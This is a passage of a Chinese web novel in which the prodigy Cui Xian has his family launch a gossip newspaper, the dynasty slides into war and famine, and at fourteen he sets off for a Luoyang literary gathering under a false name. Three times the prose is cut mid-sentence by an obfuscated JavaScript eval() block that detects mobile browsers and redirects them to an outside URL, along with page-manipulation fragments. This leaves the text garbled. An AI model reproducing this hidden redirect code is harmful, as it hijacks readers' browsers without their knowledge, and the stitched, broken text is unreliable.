老崔氏傻眼道:“邸报这玩意儿,咋赚钱呐? 崔岘知道,有些深层次的东西,解释不明白的。 因此他略作思索,笑着给出个最俏皮、又通俗易懂的解释:“祖母,您想啊。您先在南阳,把邸报做起来,招募好工人,熟悉一切邸报流程。” “甚至未来四年,你把咱家邸报提前开去河南各个府城、包括开封。” “等我去高台辩经,全河南,乃至全大梁都会关注这场盛会。但,并不是所有人都有机会来开封,参加这场盛会的。” “到时候,我的每一场辩经内容,输赢,对手是谁,场面如何,都会成为所有人关注的盛况。咱家的邸报,记载好这些内容,就能迅速在开封、河南,乃至整个大梁去售卖。” “孙儿每胜一场,邸报一作刊登,全大梁都知道孙儿胜利啦。” “到时候咱们在京城,金陵等全大梁最繁华的城市,设立邸报办事处,将开封高台辩经的邸报,实时面向全大梁出售!” “祖母您想想,有了这个邸报在,孙儿会一跃成为风靡全大梁的人物!那咱家的钱,不就能赚到手软了吗?” 啊? 听完崔岘这番话,老崔氏、陈氏、林氏等人,表情一愣一愣的。 她们显然是没有听懂。 陈氏迟疑问道:“岘哥儿,为什么你风靡全大梁,咱家就能赚钱到手软啊!” 崔岘眨眨眼:“因为邸报上可以登广告啊!娘,我举个简单的例子。比如开封辩经之前,咱家开一个酿酒作坊,紧急生产出一批酒,取名……叫做桃花酒吧。” “等我高台辩经赢了,邸报把辩经情况刊登出去售卖,肯定有很多文人关注着这场盛事,想办法来买报纸。” “这个时候,我们在报纸上刊登半个版面,上面写着:桃花酒,才子崔岘喝了能作名诗,文思泉涌辩经!你还在等什么,想成为才子,也来喝桃花酒吧。” “于是,咱家的桃花酒,就能迅速风靡全大梁,成为最红火的酒水!” 老崔氏等人听完后,齐齐震撼的张大嘴。 还可以这么搞? 娘嘞……那岂不是要彻底发大财了! ? 126、绚烂又黑暗、壮阔又悲惨的新时代 崔家准备开办邸报的事情,便这样敲定了。 换做一般人,无钱、无人脉、无背景,想要开一家邸报,难如登天。 但这些崔家都有啊! 且不说朝堂之上,有郑阁老。 单说河南,还有崔岘的师叔李端在,用四五年时间,初步将邸报在省内做起规模,不难。 难的是—— 怎么开第一家邸报社? 邸报名字叫什么? 涉猎什么方向? 如何撰写报纸内容,如何审查,如何雕版印刷,如何售卖? 又如何能保证赚到钱? 老崔氏一开始还信心十足呢,可听到岘哥儿说,让她负责开一家邸报社,顿时就蒙圈了。 她不会啊! 甚至,她连邸报长啥样都不知道,怎么开? 看着神情忐忑的老崔氏,崔岘笑道:“祖母,孙儿相信,您肯定可以的。 “咱们崔家将来能否成为名门望族,都靠你了啊! 听到这话。 老崔氏当即一个激灵,涨红着脸道:“行!这邸报,祖母肯定把它开起来,岘哥儿你就放心吧! 林氏、陈氏闻言,佩服的看向婆母。 关键时候,还得是婆母啊。她俩仍旧在蒙圈呢,婆母都信心十足了! 然而下一刻。 便见放出豪言的老崔氏,赧然期期艾艾道:“但是岘哥儿,你得跟祖母说说,具体要怎么做啊。 陈氏几人:“…… 绝了。 合着您啥都不懂,就敢接下这个艰巨的任务了啊! 但既然老崔氏都这么问了,林氏、陈氏、崔璇三人,都绷紧神经,脸色严肃的看向崔岘,作出倾听状。 那可是邸报啊! 多高级的东西! 都是读书人、官老爷们翻阅的。 她们几个刚开蒙的女人,自然要使出十二万分的力气和手段,来接下这个差事。 但崔岘表示,邸报这玩意儿,一开始想要做成,还真得靠家里的女人们。 迎着众人的目光,崔岘轻咳一声,道:“首先呢,先去租赁一家店铺,这个咱们去找庄瑾家就行。 “其次印刷出版,还是跟鹤聿家合作。 “再去聘请一位年纪大的老秀才,作为总编……额,作为掌柜。 “至于内容撰写,前期先不必招人。祖母,母亲,大伯母,阿姐,你们四个担当内容撰写人,去满大街寻找素材。 “后期的话,可以接受有偿投稿。 老崔氏几人闻言:?? 开什么玩笑,我们一群刚开蒙的半吊子,撰写邸报? 怎么可能会有人买账呢! 崔岘知道她们把问题想复杂了,笑道:“谁说邸报只能刊登锦绣文章、诗词歌赋、时政大事呢?再者说,就算咱们想刊登这些,也没有消息来路啊。 “而且这种枯燥的内容,也没几个人愿意看。 “大家爱看的,是狗血,是八卦,是**,是三俗。我举个例子,某富商家两个儿子争夺家产,互相打的头破血流,闹到最后,族老们出面调停。 “某禅院高僧,竟然私下酒肉都来。 “某员外郎家小妾和侍卫卷款潜逃。 “某村邻里互相指责对方祖坟破坏自家风水,朝对方祖坟互泼**血。 “当然,不能写人家的真名,用化名来代替,要标注是虚拟杜撰的故事。就问这些,你们想不想看? 啊? 那可太想了! 老崔氏等人闻言,眼睛都瞪大了一圈,神情格外振奋。 好家伙,这也行? 你要早说这么搞,那咱们还怕什么! 满大街都是可以撰写的‘内容素材’啊! 老崔氏甚至拍着胸脯,激动保证道:“岘哥儿,祖母出去走一圈,就能轻松带回来百余条内容素材!保证条条不重样,条条吸引人! “你说吧,咱这邸报起个什么名字好?不出一个月,祖母就能办起来! 这下不仅老崔氏,陈氏等人也信心倍增。 崔岘笑道:“就叫《坊间秘事》吧,直白又通俗。等以后做起来了,再换个名字就行。 “行! 老崔氏满口答应。 于是,崔家的女人们,开始忙碌起来。 神奇的是她们这次不慌了! 开玩 笑,关乎秘闻八卦,狗血三俗,这种事情有什么好慌的啊! 完全就是‘老本行’,开心还来不及呢。 接下来这段时间。 崔岘继续在后院学习。 老崔氏、陈氏、林氏、崔璇,开始跑业务,张罗着租赁店铺,聘请掌柜,以及……满大街吃瓜。 那段时间,整个崔家都跟着吃瓜吃到撑! 啧,小小一个南阳城,怎么这么多让人惊掉眼珠子的瓜啊? 那谁,某某茶行的东家,养了十年的儿子,竟然不是自己亲生的。 还有某戏班台柱子,跟某家夫人,在城隍庙私会被人撞见,衣服没来得及穿就落荒而逃了! 某富商偷偷养外室,被自家夫人抓包,脸都被挠花了! 崔岘在偶尔的枯燥学习之余,听闻祖母等人眉飞色舞聊这些劲爆八卦,心生无限感慨。 别人的人生……都好荒谬又离奇啊。 但很显然,荒谬离奇的,可不仅仅只有大梁的百姓。 包括大梁的皇帝陛下,也经历了一场荒谬绝伦、或者说骇人听闻的事件。 那日。 仆从老罗急匆匆来后院,神情古怪的递来一封信。 东莱先生看后,直呼:“荒谬! 这一年来,经常有朝堂、外界的时政消息,传来崔家后院。 虽然这些消息都十分滞后,但这是众人了解国事的唯一途径。 众人好奇东莱先生为何这般愤怒,都围了过来。 等看完信件上的内容以后,所有人都满脸难以置信。 因为信封上的内容是这样的:皇帝沉迷炼丹,因药引需要‘红铅’,所以命大量宫女,每日只能吃桑叶、喝露水,以保证‘红铅’,也就是月事血的纯净。 宫女们不堪**,决定反击。她们趁着皇帝熟睡,用黄绫布条试图勒死他,但最终却并未成功。 此事过后,大量宫女被凌迟处死。 朝野上下震动。 皇帝暴怒,开始疑神疑鬼,听说近段时间,都不上朝了。 这……果然荒谬。 但因为对方是皇帝,所以众人看了信后,谁都不敢多说什么。 小后院的气氛有些凝滞。 直到老崔氏振奋的声音,将这股凝滞打破—— “中了!中秀才了!岘哥儿,钰哥儿,快来跟祖母去迎接你们父亲,他俩都中秀才了! 此言一出,满院子都热络起来。 崔岘,崔钰赶紧起身,跟着老崔氏往外走。 蹉跎十年,一朝得中! 崔伯山,崔仲渊二人,终于通过院试关卡,中了秀才! 老崔氏最近忙的不可开交,都没顾上看榜。 还是家里仆从来报喜,她才得到消息。 林氏、陈氏也喜不自胜。 不久后。 两位新晋秀才归家,咧着嘴不停傻乐。 一门双秀才! 外加还有崔岘这个‘大梁第一神童’。 崔家,因此又在南阳引发好一阵讨论、热议。 但小神童崔岘,就仿佛彻底消失了一般,彻底离开公众视野,没了消息。 一开始还有人经常惦记。 后来时间久了,大家就逐渐淡忘了。 因为南阳的热**儿,属实是不少呢! 不知道何时开始,一个名字叫做《坊间秘事》的邸报,突然在南阳大街小巷流传开来。 一开始,人们并不在意。 可后来随着时间推移,南阳百姓们惊奇,或者振奋的发现,这个邸报,相当有料,相当精彩! 什么八卦狗血、邻里倒灶的破事儿,上面都有记录! 偷腥、**只是小儿科。 更瞠目荒谬的,还有爬灰、养小叔子等各种炸裂伦理道德瓜。 总之,相当刺激! 大家茶余饭后谈资,全靠它了。 甚至很多人还自发来邸报‘投稿’:“我不要钱,我就是想把我知道的事儿说出来,说给全南阳百姓听!这么多年了,憋在心里,憋死我了! 这邸报实在太超前,太新鲜了。 轻松便俘获了无数百姓。 谁不爱八卦?而且还是身边的八卦! 想想看,隔壁邻居突然成为了今日份《坊间秘事》的主角。 就问你刺激不刺激! 大家呼朋唤友,拉着兄弟姐妹,能聊一天! 当然此刻还无人意识到,这份八卦报纸,正在以令人瞠目的速度,悄悄自南阳,到整个河南府城蔓延。 在《坊间秘事》偷偷发展,即将准备惊艳所有人的时候。 时间,也在快速流逝、游走。 距离前往开封还有1174天! 距离前往开封还有985天!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088417|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>距离前往开封还有704天! 崔家木板墙上的倒计时,数字一天比一天减小。 南阳的百姓们在吃瓜。 崔家后院里,崔岘,东莱先生,裴坚等人,也在‘吃瓜’。 只不过,他们接纳的消息,关乎着整个大梁。 自从皇帝险些被宫女杀死后,大梁王朝不管是内政,还是外敌,都开始波动起来。 传回崔家小院的时政新闻,事件越来越大。 嘉和二十年。 一位叫做汪直的人,勾结倭寇,在江浙地区作乱,**百姓。 皇帝震怒,派遣大军前去围剿。 但因朝廷水师孱弱,海上作战实力拉胯,被倭寇吊着打。 这件事,好似**一般,引爆了大梁王朝积攒多年的弊病。 同年。 俺答汗大军冲破长城防线,来犯大梁。 次年初,西南土司叛变。 在嘉和皇帝执政的第二十个年头,小纷争摩擦不断的大梁,终于正式迎来大规模、多场战乱纷争。 纵观历史长河,所有朝代的动荡,似乎都是在某个不起眼的瞬间,骤然爆发。 外部患乱,引发内部争斗。 首辅陈秉,和次辅郑霞生的党争,被迫打响。双方门生互相**,大量官员牵扯其中。 可就在这时,一件骇人听闻的大事件,让整个大梁,都因此震动。 嘉和二十一年。 陕西大旱。 人相食,饿殍百万。 首辅陈秉上书,请皇帝下‘罪己诏’。 帝怒,罢首辅。 郑霞生任新的首辅,暂时成为这场党争的胜利者。 然而,东莱先生得知这件事后,眉头却浮现出浓重的忧虑。 这等动荡时候,升任首辅, 是福是祸……实在不可知啊。 好在,大梁王朝实在太大、太大了。 外部的战争,朝堂的党争,也仅仅是世界的一角。这个王朝,仍旧在看似繁荣中运行着。 比如工部宣布,仿制葡萄牙舰炮一事,有了重大突破。 再比如松江府改良的脚踏三锭纺车,让纺纱效率倍增。 纺织业开始空前繁荣昌盛。 但这也引发织工****风波。 新任首辅郑霞生,为此还被陛下狠狠斥责一番。 当然,这些都是民生。 大梁文坛,同样开启了一个百花盛开,群星璀璨的新时代。 太原王氏公子,**之,自太原至金陵,舌战群儒上百场,无一败绩。 一位叫做何旭的13岁小少年,中了举人,一跃成为大梁王朝最耀眼的‘文坛天才’。 一位叫做赵奕的15岁小少年,参悟圣贤书,作了一篇《东楼赋》,文采斐然辞藻华丽,惊艳了整个大梁。 当然,还有一位更厉害的天骄人物。 此人叫做苏祈,年17,诗词歌赋、辩经八股无一不精通。据传此人清高孤傲,狂妄不可一世。 是下一届状元的热门人选之一。 除去以上名声响当当的人物。 陇西李氏家族,也有一位公子,李长年,14岁,准备出仕。 还有一位叫做朱葛易的17岁少年,自称终南山道家学说传承人,引发轰动。 因为相传,终南山是道教的发祥地之一,老子曾在这里讲述《道德经》。 道家传承人现世,仿佛释放了某种信号。 阴阳家、纵横家、兵家、法家等各路传承者,纷纷开始现世,崭露锋芒。 他们实在太耀眼、太刺目。 整个大梁文坛的视线,都不知道落在谁身上。 曾经凭借《悯农》传唱士林,两篇八股文震撼文坛的,前大梁第一神童崔岘,彻底杳无音讯。 江山代有人才出。 曾经的小神童固然耀眼。 可这个世界从来都不缺少天才啊! 天灾、人祸、战争,是王朝永远无法避免的动荡、与黑暗。 但这片土地上,绚烂文明永远在延续,优秀天骄层出不穷。 两者相辅相成,开启了绚烂又黑暗、壮阔又悲惨的新时代。 然而不管时代如何变迁,总是要有人来书写传奇,不是吗? 大梁王朝嘉和二十二年。 春。 又是一年桃花盛开时。 崔家。 一个身材高挑,白皙俊俏,眉眼清亮的少年郎,站在木板墙前,提笔蘸墨,笑着写下今日份的倒计时: 距离前往开封还有1天! ? 127、吾家有子初长成 木板墙前方。 等那位年轻俊俏的少年郎,写完‘距离前往开封还有1天’几个大字后。 “阿兄! 一个约莫五岁左右,粉雕玉琢的小女娃,嬉笑着快速扑了过来。 少年郎单手将小丫头抱起,语气宠溺:“慢点,莫要摔着。 女娃靠在阿兄的肩膀上,歪头看向木板墙上的字,可怜兮兮问道:“阿兄要去开封了吗? 没等少年郎开口宽慰。 她神情愤愤道:“虽然舍不得,但我还是希望,阿兄能早些去开封!去打败外面那些嘲笑你的人! 少年郎闻言就笑:“万一阿兄被打败了呢? 怎么可能! 小女娃骄傲昂起脑袋,脆生生道:“阿兄你,八岁开蒙,八岁半作诗《咏鹅》、《悯农二首》,轰动大梁文坛。 “还锄奸惩恶,斗倒了贪官赵志,获得陛下夸赞,免去南阳百姓赋税徭役。 “而后,阿兄又作《南阳王府听蝉联句诗》、《咏新竹》,再次引发文坛热议。并且,阿兄还在南阳王府,同大梁文坛下了战书,约定好五年后去开封辩经。 “次年,阿兄九岁,成为大梁王朝最年轻的县案首。作的两篇八股文,奠定八股文格式,被誉为始基之作。 “如今那两篇八股文,仍旧刻在京城国子监的文碑上! “陛下还特地嘉奖‘麟子文星、神童天授’的八字牌匾,属于大梁开国来头一例! “但…… 说到这里。 女娃眼神黯淡下来:“但后来这四余年间,阿兄在家潜心学习,彻底再无亮眼成绩。导致如今外界那些讨厌的人,都在说……说阿兄小时了了,大未必佳。还说阿兄江郎才尽了,气死我啦! 五年多时间一晃而过。 大梁文坛的天骄才子们,如雨后春笋般接连冒出来。 曾经的‘第一神童’光芒熄灭,彻底杳无音讯。 因此‘江郎才尽’一说自然被传得甚嚣尘上。 听着小女娃将自己曾经的‘辉煌事迹’一一列出来,少年郎,也就是崔岘眼睛里浮现出一抹追忆。 而他怀里抱着的女娃,自然便是五年多时间前,陈氏生下的女孩。 如今已经从襁褓婴儿成长为五岁多的小萌娃。 老崔氏特地请东莱先生给她取了个寓意极好的名字:璎。 崔璎自小听着阿兄的传奇事迹长大视阿兄为偶像因此最讨厌别人说阿兄‘江郎才尽’。 正当兄妹二人说话的时候。 陈氏从堂屋里出来伸手拧住崔璎的耳朵:“让你开蒙识字你学的一塌糊涂!倒是整日把你阿兄的事迹记得清清楚楚!” “你阿兄像你这么大的时候都会下地割麦子了!你再看看你!” 崔璎被拧的吃痛慌忙向亲娘讨饶而后眼泪汪汪去练字。 陈氏很是无言她根本都没舍得用劲儿! 等确定闺女去练字后。 陈氏又看向比自己身量高上许多俊朗白皙的崔岘越看越稀罕越看越满意。 哎哟我儿子怎么能这么优秀呐! 因此陈氏也没忍住气恼道:“你这些年的刻苦努力娘都看在眼里。连东莱老先生都说岘哥儿你如今满腹经纶**通今。” “所以娘的意思是等明日出门后千万别跟外面那些人客气。什么江郎才尽这种词儿大梁文坛的人都死绝了也落不到我儿头上来!” 好家伙。 真不愧是亲娘啊听听这话说的。 崔岘失笑道:“知道了娘。” 陈氏摆摆手:“你赶紧去裴府吧坚哥儿他们几个等着给你饯行呢。对了喊上钰哥儿一起。” 明日崔岘便要离开南阳了。 因此今日裴坚等人特地休息一天暂时搁置学业替崔岘饯行。 “好。” 崔岘点头去敲了敲崔钰的房门:“阿兄!” 片刻后。 一身烟青色长衫、姿态端方的崔钰打开房门走出来笑道:“阿弟走吧。” 兄弟二人并肩往外走。 他俩如今一个14岁一个15岁身量都格外高挑。 并排走在一起 尽显年轻少年郎的风采。 尤其是崔岘不仅容貌惹眼身量都长到了五尺六寸比崔钰都要高上不少。 他今日穿 了一身湖蓝色长衫衬的整个人越发白皙俊俏。 兄弟二人刚出门。 便见裴坚、庄瑾、高奇、李鹤聿四人已经在裴府外提前等着了。 五年过去四大才子都长高了。又因为沉淀下来学习所以瞧着比当年稳重许多。 眉宇间也有了自信的神采。 但兄弟们凑在一起仍旧闹腾的很。 瞧见他俩这副俊朗模样裴坚佯装吃味儿:“哎呦哟你俩这副打扮是来吃酒的还是来做新郎官的?” 庄瑾立刻帮腔:“就是就是!我宣布今日打扮比裴坚俊的都不可以吃酒!” 高奇哈哈大笑揶揄道:“那咱们今日准备的酒岂不是都便宜裴坚一人咯!” 李鹤聿一摊手坏笑道:“我可是听说裴家祖母最近似乎张罗着给裴坚物色夫人呢。说不定一转眼裴坚就真做上新郎官了。” 其余兄弟都瞠目看向裴坚。 裴坚脸色一红磕磕巴巴转移话题道:“没有的事儿别瞎说。走走兄弟们咱们今日是给岘弟饯行的!” 说罢。 他掩饰般轻咳一声揽住崔岘的肩膀朝府里走去。 其余人互相挤眉弄眼。 他们先是去跟裴崇青老爷子、裴老夫人打过招呼而后轻车熟路去了裴坚的小院。 知道崔岘明日要离开南阳。 裴老夫人破格给他们准备了好几坛酒以及一大桌好菜。 六个少年郎在院子里围桌而坐。 春日阳光正好小院里桃花随风簌簌飘落。 清风都带着桃花的甜味儿。 裴坚给众人都倒好了酒而后率先举起杯想说什么 其余几个小兄弟愣住片刻而后突然就默契懂了裴坚的意思。 一晃眼咱兄弟们也到了可以光明正大尽情喝酒的年纪了! 那这不得走一个? “来来来碰一个!” “总得有个由头吧?” “嗯……为岘弟践行?不对!为开封、为大梁那些即将会被照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088418|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀到黯淡无光的天才们!” “哈哈哈这个好!” 几杯酒下肚 ,兄弟们脸色开始泛红。 裴坚侧过身来,看向崔岘,笑问道:“岘弟,被人说江郎才尽是什么滋味?会觉得不爽吗?” 几位兄弟都笑嘻嘻看过来。 这四五年来一起学习,他们可太清楚,岘弟是何等的妖孽。 崔岘染了些酒意,闻言挑了挑眉梢:“江郎可能会才尽,但崔郎,永远不会!” 哦豁! 看来有些人虽然嘴上不说,但对于自己被奚落‘江郎才尽’一事,也是很不爽的嘛! 高奇举起杯:“崔郎,出去以后悠着点,别‘杀’太狠了。” 李鹤聿顺势跟他俩碰了碰杯:“我仿佛已经听到了天才们崩溃的嚎啕大哭声。” 崔钰笑着做最后的总结:“敬天才们!” 这一轮喝完后,以裴坚为首,其余五人都笑嘿嘿看向崔岘。 崔岘眨眨眼,跟着笑:“怎么了这是?” 裴坚嘿笑道:“岘弟,你这次一出去,就真跟吴清澜夫子当年说的那般:鸢飞戾天,鱼跃**。” “南阳太小,开封,河南,乃至整个大梁,才是你的戏台。所以兄弟们计划有变,要往后推迟跟着你去开封的日期了……” 听到这话,崔岘表情微窒。本来以为裴坚又要跟以前那般,自卑退缩。 可看到大哥脸上自信张扬的神采,又觉得没那么简单。 如今马上步入三月。 裴坚、庄瑾等五人,按照原计划,要去参加半个多月后的童生试。 崔岘先行离开南阳。 而后兄弟们约好,拿到童生功名,一个月后开封见。 但听裴坚这话里的意思,难不成……? 崔岘懂了,扫视一圈五人自信的神情,咂舌道:“兄弟们,这么自信的吗?” 裴坚这话,意思很明显——改变原定计划,推迟去开封的时间,留在南阳,一路把县试、府试、院试考通关,拿到秀才功名。 约莫两三个月后,再去开封,跟崔岘会合。 难怪这五年来,他们五个都不去考童生试,原来是打算干一把大的! 瞧见崔岘脸上罕见的吃惊,裴坚五人哈哈大笑,十分得意。 而后,裴坚率先站起来,脸上尽是少年郎的张扬自信:“岘弟,你尽管离开南阳,去尽情发光,去闪耀大梁文坛!你要往前一直走,走到最高处去。” “大哥们虽说比不上你,但这四五年来,也不是白努力的。” “我们会跟上你的步伐,只要你回头,我们一直都在!” 说到这里。 他骄傲抬起下巴:“所以,下次开封相见,准备好迎接一群秀才公大哥吧!” 庄瑾、高奇、李鹤聿、崔钰四人也站起来,尽显少年恣意。 他们眉眼依旧年轻,比满院桃花都要灼人耀眼。 五年磨砺,一朝新生! 崔岘脸上的笑意都要止不住了,他也跟着站起来,道:“好啊,那咱们兄弟,开封见!” 群星共同闪耀,才能绚烂整个时代啊! ? 128、换个新马甲出发咯 因为次日崔岘要远行。 所以兄弟们并未贪杯,喝到差不多,便散了。 离席后。 崔钰归家,而崔岘,则是去了仲景巷老师家里。 仆从老罗打开院门,神情有些忧虑:“小公子来啦,老爷在里屋等着您呢。” 出何事了? 崔岘很是疑惑,等进了里屋,便听东莱先生道:“来了?咱们先前的计划,怕是要变一变。” 啊这。 怎地一个个的,都突然要改变计划呢? 没等崔岘询问。 东莱先生继续道:“陕西旱情愈发严重,朝廷派了两拨钦差过去,都束手无策。” “朝中有人上书,建议把李端平调去陕西赈灾。陛下同意了,但新的河南布政使人选,还没定下来。你师祖来信,让我们做好最坏的打算。” 最坏的打算……新任河南布政使,可能会是首辅陈秉的人。 陈秉只是辞官了,又不是**。 大梁王朝的首辅,绝对是最儿戏的职业了。今日罢免,明日官复原职,跟闹着玩儿似的。 所以他和郑霞生的党争,还在继续。 而很显然,陈秉开始出手了。 但朝堂之上的事情,尚且太遥远,并非如今的崔岘能参与的。 所以他点点头,迟疑问道:“那,学生暂时不去开封了?” “去!但更改一下计划。李端火速被召入京,开封情况尚不明朗。为师先去开封探探虚实,顺便为你铸辩经台,提前把你应五年辩经之约的消息放出去。” 东莱先生说到这里,笑道:“而你,同样也出发赶往开封。但绕个路,去一趟洛阳,再从洛阳赶往开封。” 崔岘惊讶道:“去洛阳?” 东莱先生点点头:“很快便是一年一度的牡丹开花季节。洛阳知府广邀天下年轻的文人墨客,前去洛阳参加赏花文会。” “为师猜测,半个大梁的年轻天才,都会去赴约这场文会。” 崔岘很聪慧,略作思索便懂了,神情微妙道:“因为我?” 虽说外界如今一直盛传,大梁第一神童‘江郎才尽’。 但,文坛领袖东莱先生的徒弟,已经下了‘开封辩经’的战书,又 岂能不会去赴约? 无非是现在,崔岘还没动静。 天才们也是骄傲、矜持的。自是不会眼巴巴赶去开封,跟一个‘光芒消散’的前神童辩经。 于是这个时候,去洛阳参加文会,就是个很好的选择。 两地相距很近,崔岘若是能重新翻身闯出名头来,肯定会有天才去挑战他。 但若是没有名头,天才们打道回府。 届时崔岘开封开台,来辩经的都是一群小喽啰,岂不是招笑。 说白了,五年后的崔岘,不值钱了。 “对,所以为师让你绕路去一趟洛阳。这里有一份洛阳文会的请柬,你以信阳府罗山县贾邵的身份,去参加吧。” 东莱先生递过来一份请柬。 嘿笑道:“这群不值钱的玩意儿,还拿乔起来了。但纵然徒弟你天资超绝,也抵不住大梁邪门歪才众多。先去洛阳文会暗中观察一番,做到心中有数。到时候辩经台上,不至于被打得措手不及。” “毕竟咱们太值钱了,一场都不能输。” 好家伙。 原来纵然是开台辩经,也得准备好场外工作啊。 不过也正常,崔岘一人单挑整个大梁文坛。 若是做不到知己知彼,愣呼呼直接开辩,指不定哪天就阴沟里翻船了。 毕竟这玩意儿只要败一场,文坛领袖的路,就会被迫中断。 崔岘接过请柬,试探性问道:“那,学生就出发了?” 东莱先生摆摆手,笑呵呵道:“去吧,你14岁了,也该出去历练一番,见见世面。按照请柬上写的,你去鲁山县官道驿站,自然有人接应你。” 于是,崔岘朝着老师长鞠一躬,而后转身离开。 仆从老罗担忧道:“老爷,小公子还小,从未走出过南阳。如今朝堂之上局面混乱,李大人被调离,小公子可能也会被盯上啊。” 东莱先生笑道:“孩子大了,总是要出去闯荡的。我给他换了个身份,也算是一种保护。他以后要走的路,注定了他不会平凡。” “老夫有预感,小崔岘以后,会比老师走的更远!” “我作为他的老师,要做的不是把他拘在身侧,而是亲手送他飞出去,看他去九天翱翔。” 听到这话,仆从 老罗眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088419|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里浮现出希冀。 东莱先生则是站在廊下,看着自己最优秀的徒弟,身形消失在巷子外,表情既不舍,又骄傲。 另一边。 崔岘归家,陈氏、崔仲渊已经帮他把行李收拾好了。 一如当年,他第一次从河西村离家那般。 只是这次啊,陈氏、崔仲渊夫妻俩都没哭。 一直掉眼泪的,倒成了小女娃崔璎。 好笑的是。 她一边哭,还一边自我安慰:“没事的,没事的,阿兄是为了去教训那些坏人!但我还是好舍不得阿兄呜呜呜。” 一家人都跟着笑。 陈氏好不容易把崔璎哄睡着,而后替儿子整理衣衫,温声交代道:“娘还是那句话,出门在外,莫要委屈了自己。” “你大伯、大伯母,陪着你祖母,如今正在陈州开邸报分店。等她们那边忙完,娘,和你爹,你阿妹,咱们在开封会合。” 崔岘笑道:“知道了娘,你跟我爹,也照顾好自己。” 崔仲渊笑着拍了拍儿子的肩膀,以示勉励。 当晚,崔岘早早入睡。 第二日,裴坚等几位兄弟,和东莱先生,崔家人,都早早赶来为崔岘送别。 但崔岘的卧房却是空的。 书案上放着一张字条:“世界那么大,我想去看看。” 他竟然一声不吭,提前走了! 倒是洒脱的很。 东莱先生拿着那张纸条,笑呵呵道:“去吧,去吧。你想去看世界,其实这个世界,也在等着看你呢。” 听闻老先生这话。 裴坚想了想,看向庄瑾等人:“兄弟们,你们说,下次开封再见,岘弟该不会又要闹出那种很大、很大的动静吧。” 李鹤聿严谨道:“把该不会三个字,去掉。” 兄弟们都笑了。 唯有崔璎哭唧唧得:“阿兄骗人,自己偷偷跑啦!我今日特地起好早的!” 但其实她不知的是。 天尚且蒙蒙亮的时候,一个俊俏少年推开她的卧房,悄悄捏了捏她熟睡中的脸蛋。 而后趁着所有人都在熟睡,背着一个简单的行囊,悄然从家出发。 五年来,他已读万卷书。 如今,该去行**路咯! ? 129、让我来考考你 两日后。 自南召县,赶往鲁山县驿站的官道上。 一个面容黝黑的老汉,和儿子赶着牛车,晃悠悠前行。 后方板车里,坐着一个皮肤白皙、模样俊俏的少年郎。 他斜靠在板车一侧,戴了个农家草帽,神情格外惬意悠闲,目光在官道两侧的农田、村落上巡视。 这少年郎自然便是崔岘。 他低调自南阳离开,把去洛阳参加文会,当成了一场‘说走就走的旅行’。 因此并未带仆从,也没有雇马车。离开南阳后,一路向北慢悠悠出发。 直至到南召县,遇上这对好心的父子,愿意载他一程。 老汉是个嘴巴闲不住的。 注意到崔岘一直在看两侧的农田,便叹了口气:“今年雨雪少,庄稼收成怕是连一亩地一石粮都没有咯。 一石,约等于后世的120-130斤。 这个年代,庄稼亩产量低得惊人。 以前在河西村的时候,崔家有三十亩地,看似很多。 可一算产量,再扣掉吓人的粮税,剩余的也就勉强够果腹。 而南召县多山,是比南阳县更穷的地方。 崔岘这一路走来,各个村子房屋基本都是土坯草棚,连砖瓦房都鲜少见到。 可谓穷的触目惊心。 从当初刚穿越过来,被河西村的贫困惊吓。到努力走出河西村,让一家人过上好日子。 再到如今走出南阳,看到外面更穷苦的世界,个中滋味,实在令人感慨。 听着老汉的话,崔岘略作沉默,提醒般说道:“我听说,陕西那边大旱,饿**很多人。咱们这边,雨水少,说不定情况也会变得糟糕。 “老汉回去后,可以跟村里人商量,再打一口深井。 陕西大旱? 听闻这话,父子俩都吓了一跳。 因为崔岘穿着儒衫,是读书人,所以二人对这话深信不疑。 “多谢小哥提醒。 老汉在心中记下,又慷慨递给崔岘一个窝头,咧开嘴道:“我们平时都吃这个,小哥莫要嫌弃。 崔岘接了过来,笑道:“粮食这么珍贵的好东西,怎么会有人嫌弃呢? 而后他张嘴咬了一口。 说实话有些干涩味道并不算好。但这一个窝头递出来想必对方心里也是犹豫许久的。 物资匮乏的年代每一粒粮食都不应该被辜负。 见崔岘吃了老汉很开心附和道:“是嘞粮食是最珍贵的东西!人家南阳的小神童都说咯粒粒皆辛苦嘛!” 崔岘愣住了。 见崔岘这副表情老汉闹了个大红脸:“我也是听人家说的难不成我记错咯?哎呀咱这地里的泥巴汉话都学不明白。” 他的儿子在一旁笑。 崔岘也笑:“是这么说的没错!” 南召县挨着南阳县五年时间过去《悯农二首》传唱过来并不奇怪。 但 放下‘万卷书’‘行**路’的开端便让崔岘感触颇多。 然而路才刚刚开始。 